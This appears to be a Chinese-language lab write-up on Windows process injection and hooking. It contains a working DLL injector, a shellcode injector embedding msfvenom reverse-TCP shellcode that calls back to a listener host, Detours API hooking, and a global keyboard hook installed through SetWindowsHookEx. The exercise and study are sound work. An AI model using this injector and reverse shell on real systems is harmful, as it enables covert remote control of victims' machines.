查阅资料,实现DLL注入和直接注入
DLL注入
定义
DLL注入是进程注入的一种形式,它强迫一个远程进程加载恶意DLL程序,同时它是最常用的秘密加载技术。
所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。
实践 - DLL注入
DLL注入是令远程线程载入一个恶意的DLL,通过DllMain( )函数执行需要的代码。基本思路是将LoadLibrary()函数作为一个线程函数来调用:
- 生成dll文件,以下是
gen_dll.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxW(NULL, L"DLL injection", L"DLL_PROCESS_ATTACH", MB_ICONINFORMATION | MB_OK); break;
case DLL_THREAD_ATTACH: break;
case DLL_THREAD_DETACH: break;
case DLL_PROCESS_DETACH: break; }
return TRUE; }
|
- 实现注入函数
injector.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| #include <windows.h> #include <iostream> #include <tlhelp32.h>
int main(int argc, char* argv[]) { if (argc != 3) { std::cout << "Usage: injector.exe <target_process_name> <dll_path>" << std::endl; return 1; }
const char* targetProcessName = argv[1]; const char* dllPath = argv[2];
DWORD processId = 0; PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry)) { while (Process32Next(snapshot, &entry)) { if (strcmp(entry.szExeFile, targetProcessName) == 0) { processId = entry.th32ProcessID; break; } } }
CloseHandle(snapshot);
if (processId == 0) { std::cout << "Failed to find the target process." << std::endl; return 1; } printf("%s's pid is %d\n",targetProcessName,processId);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); if (!hProcess) { std::cout << "Failed to open the target process." << std::endl; return 1; }
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, MAX_PATH, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (!remoteMem) { std::cout << "Failed to allocate memory in the target process." << std::endl; CloseHandle(hProcess); return 1; }
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, strlen(dllPath) + 1, NULL)) { std::cout << "Failed to write the DLL path into the target process." << std::endl; return 1; } printf("dllPath:%s\n",dllPath); printf("Remote memory address: %p\n", remoteMem); LPVOID pFunc = reinterpret_cast<LPVOID>(GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA")); if(!pFunc){ printf("pFunc is Null"); return -1; } HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE) pFunc, remoteMem, 0, 0); if (!hThread) { std::cout << "Failed to create a remote thread in the target process." << std::endl; return 1; }
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess);
return 0; }
|
- 注入过程
在前两步中已经生成了gen_dll.dll
与injector.exe
,我们运行后者,输入要被注入的进程名(notepad.exe
)以及要注入的DLL文件路径。
1 2
| injector.exe notepad.exe path(gen_dll.dll)
|
随后Dllmain
中的函数就会被执行,弹出一个消息框。
也可用Process Explorer
程序查看程序的dll加载情况。
直接注入
定义
同DLL注入一样,在远程进程的内存空间中分配和插入代码,使用类似的Windows函数。
但是不编写dll文件,直接将恶意代码注入到远程进程中,比dll注入更加灵活。
实践 - 直接注入
- 使用msfvenom生成了一个Windows x64架构的shellcode,创建一个反向TCP shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.65.1 LPORT=12345 -f c [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of c file: 1963 bytes unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" "\x00\x49\x89\xe5\x49\xbc\x02\x00\x30\x39\xc0\xa8\x41\x01" "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29" "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48" "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
|
- 编写直接注入的代码
injector_direct.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| #include <windows.h> #include <iostream> #include <tlhelp32.h>
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" "\x00\x49\x89\xe5\x49\xbc\x02\x00\x30\x39\xc0\xa8\x41\x01" "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29" "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48" "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main(int argc, char* argv[]) { if (argc != 2) { std::cout << "Usage: injector.exe <target_process_name>" << std::endl; return 1; }
const char* targetProcessName = argv[1];
DWORD processId = 0; PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry)) { while (Process32Next(snapshot, &entry)) { if (strcmp(entry.szExeFile, targetProcessName) == 0) { processId = entry.th32ProcessID; break; } } }
CloseHandle(snapshot);
if (processId == 0) { std::cout << "Failed to find the target process." << std::endl; return 1; } printf("%s's pid is %d\n",targetProcessName,processId);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); if (!hProcess) { std::cout << "Failed to open the target process." << std::endl; return 1; }
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if (!remoteMem) { std::cout << "Failed to allocate memory in the target process." << std::endl; CloseHandle(hProcess); return 1; }
if (!WriteProcessMemory(hProcess, remoteMem, shellcode, sizeof(shellcode), NULL)) { std::cout << "Failed to write the shellcode into the target process." << std::endl; return 1; } HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL); if (!hThread) { std::cout << "Failed to create a remote thread in the target process." << std::endl; return 1; } return 0; }
|
逻辑同injector.cpp
差不多,只是注入的不再是dll文件的路径,而是可运行的shellcode。所以直接在CreateRemoteThread的第4个参数上,直接将remoteMem作为函数的起始地址传入。
还有一点,在VirtualAllocEx
的第5个参数的值要设置为PAGE_EXECUTE_READWRITE
,因为该内存部分需要被执行。
- 效果演示
目前只有injector_direct.exe
,我们只需要执行该程序即可,通过命令行传入需要注入的进程名。
1
| PS C:\Users\jay1an\Desktop\Practice3\task1> .\injector_direct.exe notepad.exe
|
但是在执行之前,需要在本机(192.168.65.1)上开启netcat反向监听。
在执行注入程序后:
在主机这里可以接收到反弹shell。
使用Process Explorer
查看被注入的notepad.exe
程序:
- 其他发现
当notepad.exe关闭之前,主机主动关闭反向shell,那么notepad.exe程序会卡死。
但是如果在主机主动关闭反向shell之前关闭notepad.exe,反向shell不会关闭,该cmd.exe成了孤儿进程。
使用Detours实现IAT HOOK和Inline Hook
Detours资料参考:https://github.com/microsoft/Detours/wiki
一般情况下,使用detours库写一个dll,然后将dll注入到其他程序中,使得其他程序中的相应函数被挂钩,达到调试或者其他恶意的目的。
这里为了写作业方便,就直接对自己程序所用的函数挂钩。
实践 - 挂钩messageBox函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| #include <windows.h> #include <detours.h> #include <iostream> #pragma comment(lib, "detours.lib")
typedef int (WINAPI* MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);
MESSAGEBOXA TrueMessageBoxA = NULL;
int WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { std::cout << "Old Message Box Text: " << lpText << std::endl; std::cout << "Old Message Box Caption: " << lpCaption << std::endl;
return TrueMessageBoxA(hWnd,"this MessageBox has been hooked.", "DETOURS", uType); }
int main() { HMODULE hUser32 = GetModuleHandleA("user32.dll");
TrueMessageBoxA = (MESSAGEBOXA)GetProcAddress(hUser32, "MessageBoxA");
DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)TrueMessageBoxA, MyMessageBoxA); DetourTransactionCommit();
MessageBoxA(NULL, "Hello, Detours!", "Greetings", MB_OK);
DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)TrueMessageBoxA, MyMessageBoxA); DetourTransactionCommit();
std::cout << "Unhooked"<<std::endl; MessageBoxA(NULL, "Hello, Detours!", "Greetings", MB_OK);
return 0; }
|
运行效果:
注:如果要挂钩某个程序中的某个函数,需要使用dll注入的方法,将使用detours挂钩的代码段放在Dllmain中,然后使得受害程序加载该dll,进而执行Dllmain中的代码,完成挂钩。
使用SetWindowsHookEx完成全局钩子和线程钩子
SetWindowsHookEx
参数如下:
- dHook: 要安装的钩子类型。
- lpfn: 钩子过程的回调函数,即钩子处理过程。当特定的事件发生时,系统会调用此函数来处理事件。
- hMod: 包含 lpfn 函数的 DLL 句柄。如果 lpfn 参数指定了一个线程 ID,该参数必须为 NULL。
- dwThreadId: 目标线程的标识符,可以指定特定线程的钩子,也可以是全局钩子。如果是全局钩子,dwThreadId 必须是 0。
实践 - 全局钩子
- 生成hook.dll,包含Hook的回调函数。
hook_dll.cpp
代码:
功能为:每次按键都会触发消息提示框。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include <Windows.h>
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { MessageBoxA(NULL,"this is keyboardProc hook","HOOK",MB_OK); return CallNextHookEx(NULL, nCode, wParam, lParam); }
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return TRUE; }
|
- 编写安装钩子的程序
global_hook.cpp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #include <windows.h> #include <iostream>
typedef LRESULT(CALLBACK* KeyboardProcType)(int, WPARAM, LPARAM);
int main() { HINSTANCE hDll = LoadLibrary(TEXT("hook.dll")); if (hDll == NULL) { std::cout << "Failed to load DLL" << std::endl; return 1; }
KeyboardProcType hookFunc = (KeyboardProcType)GetProcAddress(hDll, "KeyboardProc"); if (hookFunc == NULL) { std::cout << "Failed to get function pointer" << std::endl; FreeLibrary(hDll); return 1; }
HHOOK g_hHook = SetWindowsHookEx(WH_KEYBOARD, hookFunc, hDll, 0); if (g_hHook == NULL) { std::cout << "Failed to install hook" << std::endl; FreeLibrary(hDll); return 1; }
std::cout << "Hook installed successfully" << std::endl; MSG msg; while (GetMessage(&msg, 0, 0, 0)) { PeekMessage(&msg, 0, 0, 0, 0x0001); }
UnhookWindowsHookEx(g_hHook); FreeLibrary(hDll);
return 0; }
|
- 编译之后运行安装钩子的程序
已经成功安装上全局钩子。
- 系统会将该dll链接到所有需要被Hook的程序
记事本:
使用process explorer可以查看到hook.dll已经被链接到了notepad.exe
chrome程序也被链接了此dll:
但如果SetWindowsHookEx
的第一个参数为WH_KEYBOARD_LL
,就不会链接dll文件。
实践 - 线程钩子
只需要将SetWindowsHookEx
的最后一个参数改为目标线程ID即可,TID。
重新打开一个notepad程序,通过Process Explorer查看线程ID
然后改在代码中修改即可
1
| HHOOK g_hHook = SetWindowsHookEx(WH_KEYBOARD, hookFunc, hDll, 2752);
|
现在再重新运行程序
在notepad中输入会触发hook procedure(弹窗),在其他应用中输入则不会。
并且也被自动链接了hook.dll